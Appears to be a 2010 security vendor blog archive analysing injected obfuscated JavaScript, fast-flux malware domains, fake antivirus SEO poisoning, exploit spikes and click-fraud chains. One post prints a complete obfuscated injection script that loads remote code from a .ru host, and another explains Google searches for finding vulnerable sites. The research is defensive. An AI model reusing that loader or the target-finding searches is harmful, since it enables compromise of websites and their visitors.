Thursday, May 27, 2010

A brief Gumblar infrastructure analysis

Earlier this week, I had a request to analyze and describe why we were blocking customer access to:

hxxp://www.fdotfirstcoastouterbeltway.com/index.asp
(note: this page has since been cleaned)

Analysis of the page showed obfuscated JS after the closing HTML tag on the page. The obfuscated JS decoding report is available at JSunpack here. The injected JS decodes and creates an object on the page to pull content from:

hxxp://westcountry.ru:8080/google.com/deviantart.com/google.gr.php

A dig on the domain, shows that it round-robins to IPs across a number of providers with a short time-to-live (TTL) - or Fast-Fluxed:

westcountry.ru. 432 IN A 213.186.47.177 (OVH)
westcountry.ru. 432 IN A 88.198.49.197 (Hetzner)
westcountry.ru. 432 IN A 94.23.220.163 (OVH)
westcountry.ru. 432 IN A 174.137.179.244 (WebAir)
westcountry.ru. 432 IN A 188.72.212.104 (ImajHost)

Tuesday, May 25, 2010

fake Antivirus: your blacklist and antivirus do not protect you

We have spent a fair bit of time discussing fake AV pages as they represent approximately 60% of the malicious content associated with Search Engine Optimization (SEO) attacks, according to Google. As shown in past Zscaler blog posts, it is not uncommon for Google to include malicious links in the first 10 pages of search results.

Users can do very little to spot these malicious links. Google shows a warning for only a small percentage of overall results, even days after malicious links first emerge, and antivirus browser plugins such as AVG tend to show such links as safe.

AVG plugin shows this link as safe. It is actually a redirection to a fake AV page

Browsers include blacklists of phishing and malicious sites. Firefox and Chrome use Google SafeBrowsing, while Internet Explorer uses SmartScreen Filter. Everytime the browser loads a URL, the web address is checked against a list of known bad sites to stop the user from going to a malicious destination.

Google SafeBrowsing has a pretty good history of blacklisting fake AV domains. We share with then  lists of fake AV pages we discover with Google as we find that they do not block them 100% of the time.

Let's look an one example. The terms "marisol terrazas" was very popular on May 19th (she's a singer in the band Los Horoscopos de Durango who got married that day, apparently). On the first result page, all links are malicious! They all redirected to a fake AV page. But Google shows a warning for only two these links. Worse still, my antivirus plugin shows all of them as safe!

All the links of the first page are malicious!

Fortuantely, 4 these links are currently down. The 6 other links lead to fake AV pages on two different domains: www1.bestdefender-51p.xorg.pl and www1.bestdefender-68p.xorg.pl. Neither Google SafeBrowsing on Firefox nor SmatScreen Filter on Internet Explorer 8 blocked any of these fake AV pages.

Your antivirus will very likely fail you again when the malicious executable file is downloaded: only 12 out 41 AV vendors find anything malicious, which is still better than the 9 out of 41 I saw earlier, or even 2 out of 41 not long ago.

The two malicious domains have been reported to Google and should be blocked on Firefox and Chrome at this time.

If you do the same search on Bing, none of the links within the search results are malicious.

-- Julien

Philippine Yellow Pages hacked

Following on the wave of  "iepeers.dll" exploits, we found that the same client IP address involved in the attacks, used an open proxy to reach thousands of pages containing IE6 exploits. These consisted of legitimate sites which had been hacked and the following Javascript code had been injected into the pages:

Obfuscated malicious Javascript

The code is well obfuscated - it is different on each of the hacked sites and uses exceptions and eval functions to break deofuscation tools. The code is obfuscated several times, and does not do any document.write functions, all of which can make the script more difficult to decode. In the end, the script adds an invisible iframe to a Russian (.ru) website on port 8080. The domain name used by the iframe varies.

Fortunately, the author went too far with the obfuscation, and it is actually fairly easy to recognize the obfuscated code. We wrote a few signatures last week to catch sites hijacked with this code. Among the  hacked sites, we found that the Philippine Yellow Pages: http://yellowpageph.com/ had been successfully attacked. I have checked several pages on the site and only the home page seems to be infected.

Invisible iframe to tenthprofit.ru:8080

We've seen this malicious code on all kinds of websites, but the URL used on this Yellow Pages site is interesting: hxxp://tenthprofit.ru:8080/google.com/live.com/pagesjaunes.fr.php (the URL is inaccessible at this time). "pagejaunes" is French for Yellow Pages. This may just be a coincidence...

I have contacted the website, it may be cleaned up at the time this post is published.

-- Julien

Monday, May 24, 2010

Fake AV copycat?

Malicious fake antivirus pages are pretty much all the same, with very straightforward code, which makes them relatively easy to detect. Most of these pages are also found just a few domains (mostly on sub-domains of xorg.pl, although the predominance of this domain has decreased lately), which makes blacklisting possible (although not the best protection).

The "original" fake AV page is made of:
  • a simple HTML page which displays a warning about your PC being infected, and displays a splash screen. The page title is always the same, as well as the text displayed, while the page is loading. The main page is displayed only if you come from a hacked site, direct access to the page will provide a 404 'page not found' error.
 Your PC might be infected!
Page loading...

  • an external Javascript file called from the main HTML page. This Javascript file contains the actual fake AV page with style sheets, images, animations, etc. It is not obfuscated.
 Page fully loaded

 Different display, but almost identical HTML and Javascript code

  • the malicious executable is downloaded after the animation has completed, or when the user attempts to close the page
Recently however, I've seen new versions of this fake AV page start to emerge. Visually, they look the same, but they use Javascript obfuscation, and leverage new domains. Most of these new pages were not blocked by Google SafeBrowsing, even several days after we first first encountered them.

Instead of using one HTML page and an external Javascript file, all the code is on the landing page. The obfuscation uses base64 encoding in addition to custom code. It is fairly easy to decode, as it does not use eval, exceptions, DOM inspections or other tricks that break most of the obfuscation tools such as Malzilla. Once deobfuscated, the source code is very similar to what can be found in the Javascript file described above.

In addition to the code obfuscation, the page title as well as the waiting text are a little bit different from the original fake AV page. The malicious payload is detected by only 6 AV vendors out of 41. Another sample that I discovered was detected by only 2 AV vendors!

Are these new pages the work of copycats, or the next evolution from the same group of attackers? To me, it looks more like a different group of people applied simple Javascript obfuscation around the work done by others.

-- Julien

Thursday, May 20, 2010

Banking Malware uses PAC file

There have been a few recent posts (1, 2) of malware that set and use proxy auto-config (PAC) files to steal victim banking credentials. I thought this was interesting and decided to write a quick post on this. PAC files provide the ability to auto configure proxy settings for your browser, including the ability to configure proxy settings on a per URL basis. DNS Changer malware has been around for awhile, in which victim's hosts file and/or DNS server settings are altered to have banking and other sites resolve to attacker controlled servers hosting malicious or phishing content. In the PAC malware, the victim's browser uses a proxy setting for the targeted URLs to the attacker controlled server.

Tuesday, May 18, 2010

Spike of "iepeers.dll" exploits

We have seen a spike in exploits using  the CVE-2010-0806 "iepeers.dll" vulnerability since this past weekend. The vulnerability affects Internet Explorer 6 and 7.

We have seen this exploit in the wild since that day, usually a few times a week. However, this past weekend, we witnessed a spike of several hundreds exploits a day. They all come from the same type of URL (hxxp://1269754898890.9934.eu.tv/mm/index.html) with different numbers for the sub-domains. The content of the malicious pages is exactly the same.

The code is well obfuscated - it is split between several files, uses eval, DOM references, and exceptions (try ... catch). From the information I could gather, the exploit page has been written by Chinese hackers to target Chinese users. Part of the intermediate code generated is written with Chinese characters. Samples of the exploits have been reported in a couple of Chinese forums. It seems that users get redirected to the exploits from other websites, mainly though hacked sites.

Here is what the original source code looks like:

Source code of the "iepeers.dll" exploits used in recent attacks

The page does not require any user interaction. The exploit runs as soon as the user gets redirected to this page.

-- Julien

Monday, May 17, 2010

SEO spam research

Hacked sites may have their pages modified with invisible IFRAMES or malicious JavaScript, or new dynamic pages are created to redirect users to a fake anti-virus page or a scam. In some cases, new folders are created, and filled with hundreds or thousands of Search Engine Optimization (SEO) page spams. These pages are intended to score well with popular searches. They contains links to other domains, either malware sites or scams. This post from Sucuri Security reports that recently hacked websites contains a .files/ folder filled with such SEO spam.

With the help of Google, it easy to find a list of these hidden folders. Look for ""index of .files/" and one example of a file listed in the blog post, for example "2009 pro bowl.html": "index of .files/" 2009 pro bowl.html. Now you have access to hundred of pages set up by attackers. This is a very valuable source of information to understand how attackers are using SEO, and which domains names are involved in the attack.

All the pages have the same structure, but are actually quite different from the SEO spam pages I saw before:
  • each page targets a particular search (for example, 2010 Winter Olympics), as usual
  • the page alternates one paragraph of text, and one link (unusual, there are usually very few links)
  • each link text has nothing to do with the content of the page (unusual)
  • each link points to a different domain: fng-international.com, achaemprego.projects.heavyworks.ne, aceuplink.net, etc.

    SEO spam page

    The links redirects to different types of sites: fake antivirus pages, fake search engines to scam advertising networks, etc. Some of the links do not redirect all users to malicious sites, but only those who come from a Google/Yahoo/Bing search.

    The list of file names also shows which topics are targeted by the attacker: pretty much anything! Winter Olympics, the latest Google phones, celebrities, Apple news, how to write a sonnet (!), home sales, etc.

    From these files, we gathered 27,453 unique URLs from 96 different domains. This will keep me busy for a while :-)

    -- Julien

    Adobe Groups Abused

    We've seen Google Groups and a host of other sites that permit user driven content to redirect to malware or other nonsense. This morning I saw a rash of Adobe Groups posts redirecting to fake pharmacy sites (pharms / pills sites). For example:

    hxxp://groups.adobe.com/index.cfm?event=post.display&postid=22600
    ... most all postids between (that's more than 2K posts!) ...
    hxxp://groups.adobe.com/index.cfm?event=post.display&postid=25000

    Friday, May 14, 2010

    300% Increase In Malicious JARs

    While doing some stats & trends on our data, I noticed that there has been a steady rise in the number of malicious Java Archive (JAR) files that we are blocking (pulling data from both within our logs and blacklists). While malicious JAR files remain a relatively small threat volume for our users (<100 incidents a month), roughly speaking there has been about a 300% increase in malicious JAR files per month observed from January 2010 to present. While our data is a small subset of the Internet as a whole, from the increases that I am seeing in our logs and the increased chatter on malicious JARs within security mailing lists, I believe it is safe to say that there has been an overall increase in malicious JARs on the Internet. There are a number of reasons supporting this increase, including:
    • Inclusion of JAVA exploits (for example, CVE-2008-5353 and CVE-2009-3867) within popular exploit kits (for example, Pheonix2, Eleonore, and Liberty)
    • Usage of JARs to obfuscate and redirect to malicious payloads (I used the DJ decompiler to analyze one of these the other day)
    • Tavis Ormandy's April 2010 discovery of the Java Web Start Argument Injection Vulnerability (Full Disclosure posting)
    • Adoption of the Java Signed Applet exploit (Metasploit rev. 8267, Java Applet Infection post)
    Trojan executables, malicious PDFs, and browser exploits are much more prevalent than exploits against Java/JRE - but it will be interesting to continue to monitor this trend.

    Thursday, May 13, 2010

    Deep Javascript obfuscation can make exploits easier to detect

    UPDATE: AVG displayed false alerts about the obfuscated Javascript codes samples displayed in the post. These samples are all harmless. I have replaced these codes samples with screenshots.


    Minification, packing, obfuscation

    Javascript code is usually pre-processed before it is served to users in order to make it smaller, resulting in a faster page load times, or to obfuscate it.


    function add(one, two) {
        return one + two;
    }
    An example of original source code

    Minifier

    The most common form of pre-processing involves minification. The source code is stripped of white space, comments, etc., in order to make it more compact. Some minifiers can also rename internal variables to make them shorter. The minified Javascript is less readable for humans, but not to automation tools or security scanners. It is a common practice to serve minified Javascript either inline, as part of an HTML page, or in external sites, to reduce the loading time of pages. Google, Amazon, and most major websites use this technique.


    function add(a,b){return a+b}
    Example of minified Javascript

    Packer

    Then webmasters try to go further and additionally reduce code size by leveraging packers, such as using a base64 encoding. The source code is endoded in the new base, and decoded through Javascript in the browser. This results in a smaller code (if the original code is not too short) that is harder for humans to interpret and often harder for security tools to inspect.

    Packed Javascript is not widely used because the smaller file size is balanced by a longer execution time in the browser to decode the Javascript.


    Example of packed Javascript (line break inserted for readability)


    Obfuscator

    Obfuscation is done for the sole purpose of "hiding" the original code. Obfuscated code often results in a larger code size than that of unprocessed Javascript. The resulting code is unreadable by humans, and once again, complicates parsing for security scanners. A slight code change in the original code can also create a completely different set of obfuscated Javascript. That means an attacker can create many versions of the same original code and each will look very different from the others.



    Example of lightly obfuscated Javascript

    Obfuscated exploits

    There are legitimate uses of obfuscated Javascript. For example, obfuscation can be used to hide e-mail addresses from web crawlers. Obfuscation is also commonly used by many advertising networks.

    But Javascript obfuscation is widely used for malicious purposes. Attackers obfuscate their exploits to bypass security tools. They can also easily change the code on each site they infect, so that one detected malicious page does not result in all other exploited pages being detected.

    Sometimes however, extreme obfuscation can make it easier to detect malicious code. When Javascript looks very different from minified, packed or even common obfuscation code patterns, they really stand out. It is sometimes easier to detect the obfuscation itself rather than the underlying exploit.

    Metasploit is a popular and powerful exploitation framework, which includes a number of browser exploits. It goes to great lengths to obfuscate the exploits: most variables are generated randomly for each run and the Javascript code is heavily obfuscated overall. As a result, Metasploit generated HTML code can really stand out:
    • the code density is unusual: they have very long variable names, spaces at the beginning of lines, several line breaks in a row, etc.
    • repeatable patterns
      • most ActiveX objects are called with new ActiveXObject(String.fromCharCode(
      • reassignment of the unescape Javascript function to a variable: <...> = unescape;
      • the decoding loop uses some unusual pieces of code: .toString(16); unescape(unescape(, etc.
    as a result, it can actually become easier to detect the exploits coming from Metasploit. We've seen other examples where the attacker goes a little too far to obfuscate his code, and actually make it easier to recognize.

    Obfuscation done right can make it harder to detect and understand exploits. Crazy obfuscation does the opposite.

    -- Julien

    Tuesday, May 11, 2010

    Inline Detection of Evil JavaScript

    Exploit kits are a much more common threat on the web than they used to be. In order to evade detection, the kits frequently contain logic to obfuscate, or hide, the meaning behind the content that they serve to the victim. Additionally, with each visit to the exploit page, the obfuscation techniques will differ slightly so that static, content signatures will be unable to detect the threat. Other threats contain obfuscated JavaScript (JS) which sets up the page to exploit a vulnerability and launch a payload (for example, "spraying" the heap with shellcode). Still other threats inject obfuscated JS into legitimate sites, which after decoding embeds a hidden (0-pixel) IFrame to malicious content. As we have seen in the past, the JS encodings vary greatly with each incident, and many instances are encoded multiple times and may contain non-standard JS (reference past blog posts, such as "More and more obfuscation being used in the malicious scripts"). While some signatures have been written for things like generic heap spraying and other maliciousness within obfuscated JS, the bad guys are constantly updating their tactics to evade detection. Anyway, the point that I'm getting at is that scalable (think ISP), inline deobfuscation of JS is something that is *very* difficult to implement.

    One way of coping with this problem is to implement a number of efficient checks to analyze and score the JS inline for likelihood of maliciousness (JS heuristic). Pages that meet a certain score threshold may have additional inspections done or the page may be blocked outright. After doing some research and testing against some malicious and benign sites, I came up with a small number of checks that can be implemented inline and also produced some compelling results. While I won't divulge all of the "secret sauce", I wanted to share two pretty interesting checks that I'm doing against JS.

    Monday, May 10, 2010

    Attackers use humor to infect users

    Attackers are always innovating to defeat Google's algorithms and push their hijacked sites into the top search results. Once this is accomplished, they can then attack users, often by redirecting them to a fake AV page. Recently, we saw a new type of hijacked page - one that contains a Flash widget which shows a "Do not press button". Every time you click on it, it displays a humorous message.



    Flash page "Do not press"

    This is a classic joke. You have probably seen this type of page in the past. But it is now used on hijacked pages that redirect users from a Google search to a fake antivirus page! We have seen it on more than 50% of the hijacked sites in the last 3 days, where we would generally see a simple HTML pages stuffed with keywords.

    The other interesting fact is that this particular page is hosted on a subdomain of xorg.pl. This same domain was hosting most of the fake AV pages until about 2 weeks ago. However, in this particular attack, the redirection is done to a different domain (antiviruschecki4.com), where the fake AV page is delivered. xorg.pl is now used to redirect user to a fake AV page instead of being use to host the fake AV page, as it used to. It is surprising that Google does not show a warning for links to xorg.pl when Google Safe Browsing says "Part of this site was listed for suspicious activity 1541 time(s) over the past 90 days." at the time of writing.

    -- Julien

    Friday, May 7, 2010

    More and more obfuscation being used in the malicious scripts

    As we saw in a previous blog post, malicious, obfuscated JavaScript is being injected into legitimate webpages. Attackers not only use simple obfuscation techniques, but also leverage rather complex approaches to hide their malicious code. In another recent blog, we saw how attackers have used publicly available Base64 encoding techniques to hide their malicious code. This is often done to evade Antivirus detection. Recently, we discovered yet another heavy obfuscation technique. Automated deobfuscation tools/services such as Webpawet and Malzilla were challenged by this particular sample. Here is the malicious code prior to being deobfuscated.

    As can be seen, Malzilla was unable to manually analyze the code.

    Thursday, May 6, 2010

    Elaborate Scam for Mother's Day

    Mother's Day is coming soon. As for any big event, attackers and spammers are using Blackhat Search Engine Optimization (SEO) to lure users to their site.

    I stumbled upon a rather elaborate scam involving tens of sites, and multiple redirections. And this time, the people getting scammed out of their money are not the user but websites paying for advertising. A US college website has been hacked. A Wodpress blog has been added in a separate folder (/gd).

    Blog post inserted on hacked website

    This blog contains thousands of posts about Mother's Days. The hackers have used all the usual SEO techniques: keyword stuffing, pages focused on 2-3 keywords, multiple cross-links with keywords as content, light pages (lot of text, no images, few Javascript and CSS code, etc.)

    Page with links to all posts

    There is no link to this blog on the main website. But it shows up in searches for "Mother's Day 2010." If you visit the URL of a post directly, the page contents are visible. But if you click on a search result from Google, you get redirected to a different site: trraf.com. This is the same behavior we saw for the fake antivirus pages. However, this one is much more complex. traff.com is used to redirect the user to another website: rosecrane.com.

    rosecrane.com "search engine"

    This is where the scam really occurs. The links do not point directly to the shown website. Instead, each link redirect to a server on a different IP address. These servers then redirects the user to an advertising website, bidsystem.com, which finally redirects the user to the advertised site. From their website, "BidSystem is a Cost-Per-Click (CPC) ad network". For webmasters, this network is similar to Google Adwords: they get paid every time a user clicks on an ad on their website.

    To hide the volume of traffic coming from the "Search engine" from BidSystem, several servers are used as intermediary: the ad network thinks users have clicked on ads on multiple different sites. The spammers are tricking the users into coming to their page, and clicking on advertisements disguised as search results. This scams the advertisers by sending them unqualified traffic, that is users that are not interested in their products but where tricked into clicking of fake links, while hiding their shady business from the add network.

    The advertisers are paying a premium for bad traffic, giving away money to the scammer through their ad network. Note that also the ad network may be unaware of the scam, they too profit from it by taking a fee on each click.

    This scam invloves just 2 clicks from the users, but a lot of intermediates. Here is the path the unwilling user is going through (showing the user clicks, and the transparent browser redirections)
    google.com click => .edu/gd/ transparent => trraf.com transparent => rosecrane.com click => /go.php transparent => kc.mv.bidsystem.com transparent => advertised site

    I have alerted the webmaster of the hacked college site. The fake blog has been brought down.

    -- Julien

    Tuesday, May 4, 2010

    China’s NCGA government site infected with hidden malicious iframe

    Today, we discovered that NingBo SME Credit Guarantee Association (NCGA), a Chinese government web site, is infected with a malicious hidden IFRAME. Of the infected page, is one where member registration is required. Here is the infected webpage:

    The iframe is injected at the bottom of the webpage (hxxp://nbdb.nbsme.gov.cn/reg.asp). and the following is a screenshot of the infected iframe:

    The malicious iframe when decoded points to additional JavaScript. Here is the decoded script,

    Currently, above mentioned malicious site is down.

    Be Safe.

    Umesh


    How to use Google to be the bad guy, or to fight the bad guys

    Find vulnerable targets

    When a vulnerability is disclosed in a popular software (such as Wordpress, Joomla!, Drupal, etc.), attackers can use Google to quickly find a list of websites that run the potentially vulnerable versions of the application.

    This page lists few (old) vulnerabilities and the corresponding Google search to find vulnerable targets.

    More recently, I was doing research on hacked Wordpress websites. The Wordpress version can be identified with this HTML code:
    <meta name="generator" content="WordPress X.X.X" />

    Google does not usually allow search for HTML source code, but only for text. However, when a page is not parsed correctly, HTML code gets indexed as regular searcheable content, which actually happens pretty often

    Google can show you a list of Wordpress sites that run version 2.7.1:
     Google search results for Wordpress 2.7.1

    Coupled with security feeds that include ready-to-use exploits such as SecurityFocus  this technique can let attackers find vulnerable sites within minutes of a vulnerability disclosure, before website owners have time to update their website. For example, all rcent versions of MediaWiki, except the last one, are proned to a Cross Site Request Forgery vulnerability. Most othe MediaWiki websites carry an image with the alternative text "Powered by MediaWiki". Using the Google search for this text, it is easy to gather a list of potentially vulnerable targets.

    Find vulnerable code

    Google Code Search is a powerful tool that allows advanced searches in the source code of open software. You can even use regular expressions for the searches.

    This tool can be used to find different types of vulnerabilities such as:
    Find infected pages

    But we can also use Google to find pages infected in the same fashion, or exploits running in the wild. This allows us to gather more information about the attack, to get a list of domains that serve malicious files and to create an efficient set of signatures or heuristics to protect customers.

    For example, we recently found this obfuscated JavaScript maliciously injected into the home page of an Indian college website:

    <script>
    var HL;if(HL!='H' && HL != ''){HL=null};var Dr='';
    try {this.t="";this.De="";var vX=new Date();
    var WQ;if(WQ!='S' && WQ!='g'){WQ='S'};
    var qG="";var Io="";var v=new String("repla"+"ce");
    var hu;if(hu!='' && hu!='zr'){hu=''};var J='';
    var Y=RegExp;var Jq;if(Jq!='' && Jq!='fp'){Jq=''};
    this.r='';var uk;if(uk!=''){uk='n'};
    function D(x,U){var W=String("[ZFEt".substr(0,1));
    this.K="";var u=new String("g");var el="";W+=U;
    this.av='';W+=String("E4q]".substr(3));var II=new String();
    this.QQ="";var UB="";var z=new Y(W, u);return x[v](z, new String());
    var mq=new Date();};var nk=new Array();var hS;if(hS!='' && hS!='Ll'){hS='qq'};
    var Bh;if(Bh!='xQ' && Bh!='QF'){Bh=''};this.GX='';var Bl;
    if(Bl!='' && Bl!='RI'){Bl='gz'};var Qh;if(Qh!='' && Qh!='gY'){Qh='rS'};
    var I=window;var To=new Date();var k=D('856044815016',"16457");var bk="";
    var E=D('cTrNeIaqtIeIEIlTeNmqeTnqtI',"TINq");var AC;if(AC!='' && AC!='LN'){AC=null};
    var xQp;if(xQp!='' && xQp!='_z'){xQp=null};var DK='';var Dz=D('oLnLleofaede',"jLef");
    var cX;if(cX!='lX' && cX!='mD'){cX=''};var ww=new Date();
    var V=D('/BwBsZjB.BcBoZmZ/ZwZsBjZ.ZcZoBmB/ZiBbZiZbBoZ.ZcBoBmZ
    /BgBoBoZgZlBeB.BcZoZmB/BxBvBiBdBeBoZsZ.BcBoZmB.ZpZhBpZ',"ZB");
    var h=D('sNcRrFiRp1t1',"HF1RN");
    var c=D('hWtZtZpW:y/W/ylYiynZkybGuZcWkysY-ycyoZmW.Z3Z7WwyaGnZ.ZcWoYmG.
    GtWaWgWgYeWdy-WcyoGmZ.ZBGeZsWtZBGlyeYnGdGeWrYPyayrWty.ZrZuZ:G',"GyYWZ");
    T=function(){c_=document[E](h);DK=c+k;this.nE='';DK+=V;this.KK='';var mB="";this.sD="";
    c_.src=DK;c_.defer=([1][0]);var SY=new String();this.dN="";document.body.appendChild(c_);
    var Pn;if(Pn!='Ec' && Pn!='bQ'){Pn='Ec'};};var IA;if(IA!='sG' && IA!='uf'){IA='sG'};
    var vj=new Date();var zV=new Array();var QAC=new Array();I[Dz]=T;
    var XG;if(XG!='Fh'){XG=''};var lEg;if(lEg!='qCV'){lEg=''};var C=new Date();
    var lb=new String();} catch(d){};var Sj=new Array();var dQ=new Array();
    </script>
    

    This code loads another JavaScript file from BestBlenderPart.ru:


    A Google search for part of the obfuscated code shows a list of infected websites, and a few posts in forums that also list infected pages. All the injected, obfuscated JavaScript is slightly different, but the end result is the same - external JavaScript is loaded on port 8080 from several domains such as easyfunguide.at, reachsaw.ru, forredtag.ru, etc. With this information, we can blacklist the malicious files, and develop good heuristics to block infected pages.

     Infected pages found by a Google search

    -- Julien

    Sunday, May 2, 2010

    Malicious hidden Iframes using publicly available Base64 encode/decode script

    As we have seen, many websites are infected with malicious IFRAMES. The IFRAMES are either injected as plain text or they are heavily obfuscated using JavaScript. Obfuscation is intentionally used by attackers to bypass AV or IPS engines. Attackers are not only using simple obfuscation techniques to encode malicious IFRAMES, they are also using publicly available Base64 encoding/decoding routines to encode their content. Recently, we found one website which was infected with a malicious IFRAME leveraging such a technique. Here is the screenshot of the webpage:

    As can be seen, the JavaScript code after the tag looks suspicious. Strings such as CRYPT.decode, CRYPT.obfuscate and eval() tell us that this script is likely malicious. Let’s format the code JavaScript so that it’s easier to read. Here is the formatted code: